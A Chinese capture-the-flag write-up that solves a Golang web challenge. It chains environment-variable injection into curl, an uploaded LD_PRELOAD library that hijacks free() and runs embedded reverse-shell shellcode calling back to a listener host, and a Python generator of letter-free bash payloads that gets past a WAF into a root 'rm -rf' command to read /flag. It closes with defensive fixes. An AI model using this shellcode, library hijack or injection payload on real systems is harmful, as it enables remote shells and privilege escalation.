赛前比赛通知说让准备Golang
的环境,本以为是一道Pwn
题,搜集了一波关于Golang-Pwn
的资料,最后没想到是道Web
题。因为最近也在学习Golang,所以这里总结一下这道题。
解题思路
题目附件目录结构如下所示:
❯ tree
.
├──
├── dist
│ ├── index.html
│ └── static
│ ├── css
│ │ ├── app.21c401bdac17302cdde185ab911a6d2b.css
│ │ └── app.21c401bdac17302cdde185ab911a6d2b.css.map
│ ├── img
│ │ └── ionicons.49e84bc.svg
│ └── js
│ ├── app.67303823400ea75ce4a3.js
│ ├── app.67303823400ea75ce4a3.js.map
│ ├── manifest.3ad1d5771e9b13dbdad2.js
│ ├── manifest.3ad1d5771e9b13dbdad2.js.map
│ ├── vendor.a7c8fbb85a99c9e2bbe8.js
│ └── vendor.a7c8fbb85a99c9e2bbe8.js.map
├── docker-compose.yml
├── flag
├── go.mod
├── go.sum
├── proxy
│ └── main.go
├── secret
│ └── key
├── server
│ └── main.go
├── start.sh
├── vendor
│ ├── github.com
│ │ └── elazarl
│ │ └── goproxy
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── actions.go
│ │ ├── all.bash
│ │ ├── ca.pem
│ │ ├── certs.go
│ │ ├── chunked.go
│ │ ├── counterecryptor.go
│ │ ├── ctx.go
│ │ ├── dispatcher.go
│ │ ├── doc.go
│ │ ├── go.mod
│ │ ├── go.sum
│ │ ├── https.go
│ │ ├── key.pem
│ │ ├── logger.go
│ │ ├── proxy.go
│ │ ├── responses.go
│ │ ├── signer.go
│ │ └── websocket.go
│ └── modules.txt
└── web
└── main.go
13 directories, 41 files
附件提供了启动题目环境Docker
的相关文件,先看下Dockerfile
,从中可以得到几个关键点:
1、golang代码编译命令以及生成二进制文件路径
2、flag只有root能读
FROM golang:latest
RUN mkdir -p /code/logs
COPY . /code
WORKDIR /code
RUN go build -o bin/web web/main.go && \
go build -o bin/proxy proxy/main.go && \
go build -o bin/server server/main.go
RUN chmod -R 777 /code
RUN useradd web
ADD flag /flag
RUN chmod 400 /flag
ENTRYPOINT "/code/start.sh"
再看start.sh
,在tmp目录下生成了一个无用的key,然后以web用户分别运行web和proxy两个二进制文件,再以root用户启动server二进制文件。
echo `cat /proc/sys/kernel/random/uuid | md5sum |cut -c 1-9` > /tmp/secret/key
su - web -c "/code/bin/web 2>&1 >/code/logs/web.log &"
su - web -c "/code/bin/proxy 2>&1 >/code/logs/proxy.log &"
/code/bin/server 2>&1 >/code/logs/server.log &
tail -f /code/logs/*
接下来审计源码,在web/main.go
中,读取web目录下key,设置路由,然后将web服务开放到9090端口。
默认路由在IndexHandler
,只是简单的输入了dist/index.html
,token
路由对应getToken
函数,该函数中通过请求中的参数来构造数据去请求本地127.0.0.1:9091
来获取token。获取请求中RemoteAddr
拼接到了curl命令中,在Header头部中插入了一个键值对Fromhost: r.RemoteAddr
,然后会获取请求中的参数(无论是get还是post)来设置成执行命令exec.Command
的环境变量,经过抓包发现默认是http_proxy=127.0.0.1:8080
,将curl请求结果返回到页面中
/upload
路由对应的是uploadFile
函数,函数中先获取get传参过来的token,然后验证token的正确性,若Token不正确则直接返回。验证过Token之后会计算当前token下上传文件的数量,如果数量大于5个时就会去请求127.0.0.1:9091/manage
,若不大于5个,则直接上传到upload/[token]/[filename]
,filename是通过RandStringBytes
函数随机生成的5个字符
checkToken
函数中是检查token正确性的具体实现,就是md5(SecretKey+ip)
/list
路由对应的是listFile
函数,函数中同样先调用checkToken
验证token,然后在页面上输出该Token已经上传上去的文件名
proxy/main.go
中引用github.com/elazarl/goproxy
包实现http代理,当使用该代理时,会为每个请求的header头部加上Secretkey
字段,值就是secret/key
的内容。
server/main.go
中也是先读取了secret/key
,然后设置了两个路由,分别是默认路由和/manage
,默认路由就是用来获取Token,对应getToken
函数,获取请求header头中的Secretkey
与刚刚打开的key内容做对比,用这样的方法来确定请求来源是本地,也就是通过8080端口的代理访问过来的。获取请求header头中的Fromhost
作为请求IP,计算md5(Secretkey+Fromhost)
作为返回的Token
/manage
路由对应manage
函数,函数中显示获取了请求参数m
,然后再通过waf
函数对参数m
进行限制,waf函数如下所示,禁止用. * ?
,以及不能使用两个和两个以上不相同的字母
若参数m
通过waf,则会拼接到rm -rf uploads/
后面,然后去执行这条命令,将命令的结果返回到页面中
以上就是该题目全部源码分析,思考漏洞出现在哪里?
先考虑用户可控的点在哪里?
1、web/main.go
中的RemoteAddr
,可控,但是不能随意伪造,只是不同的IP和端口而已
2、web/main.go
中的command.Env
,可控,可以随意构造
3、web/main.go
中的上传文件功能,可以上传任意文件到服务器,并且可以通过IP加默认SecretKey
得到Token的值。
4、server/main.go
中参数m
,可控,但是不是直接可控,因为9091端口不能直接访问到,端口没有映射出来
综上所述,就是用户可控数据的分析,1和4可以直接pass,因为先决条件不足。是否能够配合2和3搞一些东西呢?
看到能够随意设置环境变量不难想到LD_PRELOAD
,我们上传你的文件没有限制,并且可以知道上传路径,那么我们就可以通过上传一个恶意的so
文件,然后设置LD_PRELOAD
环境变量,在执行curl
时,就会执行恶意so
文件中的代码。
把curl程序dump下来,看会调用哪些库函数,可以发现调用了malloc、free
等等一些函数
为了方便,我们劫持free函数,代码如下所示:
其中shellcode使用msf生成的,用于接收反弹的shell
//payload.c
//gcc payload.c -o payload.so -fPIC -shared -ldl -D_GUN_SOURCE -z execstack
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
#define RTLD_NEXT ((void *) -1l)
static int sign = 0;
void myexp(){
unsigned char buf[] = "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x11\x5c\x0a\xd3\x37\x02\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6";
void (*fp)(void) = (void (*)(void))buf;
fp();
}
void free (void *__ptr){
size_t (*new_free)(void *__ptr);
new_free = dlsym(RTLD_NEXT, "free");
new_free(__ptr);
myexp();
// return result;
}
先获取自己的Token:
❯ curl http://127.0.0.1:19090/token\?http_proxy\=127.0.0.1:8080
{"success":"ce86affc2f34432bcd23b816e352ef67","failed":""}
然后上传构造的恶意So
文件,路径就在/code/uploads/ce86affc2f34432bcd23b816e352ef67/gbaiC
在msf中设置好监听,然后构造LD_PRELOAD
再次请求/token
,然后就可以在msf中接收到web用户的shell
因为/flag
只有root才能读,启动的服务中只有bin/server
是通过root来启动的,所以只能利用它来进行读取flag,现在我们可以在web的shell中用curl去请求127.0.0.1:9091
来访问server
现在的关键点就在于如何绕过waf函数
,也就是说如何构造出无字母的shell命令
经过查阅资料,可以利用位运算和进制转换的方法利用符号构造数字,参考链接:<a href=”https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60″”>https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60
生成payload:
#!/usr/bin/env python
# write up:
# https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60
import sys
a = "cat /flag"
if len(sys.argv) == 2:
a = sys.argv[1]
out = r"${!#}<<<{"
for c in "bash -c ":
if c == ' ':
out += ','
continue
out += r"\$\'\\"
out += r"$(($((${##}<<${##}))#"
for binchar in bin(int(oct(ord(c))[1:]))[2:]:
if binchar == '1':
out += r"${##}"
else:
out += r"$#"
out += r"))"
out += r"\'"
out += r"\$\'"
for c in a:
out += r"\\"
out += r"$(($((${##}<<${##}))#"
for binchar in bin(int(oct(ord(c))[1:]))[2:]:
if binchar == '1':
out += r"${##}"
else:
out += r"$#"
out += r"))"
out += r"\'"
out += "}"
print out
带上payload去请求127.0.0.1:9091/manage
,成功拿到flag
防护思路
1、直接修改默认的key即可获取不到自己的Token,也就获取不到上传文件的路径
2、增加waf
函数中的blacklist
,blacklist := []string{".", "*", "?","#","{","}","$"}
参考
1、https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60
2、https://xz.aliyun.com/t/8581#toc-3
3、https://cloud.tencent.com/developer/article/1683272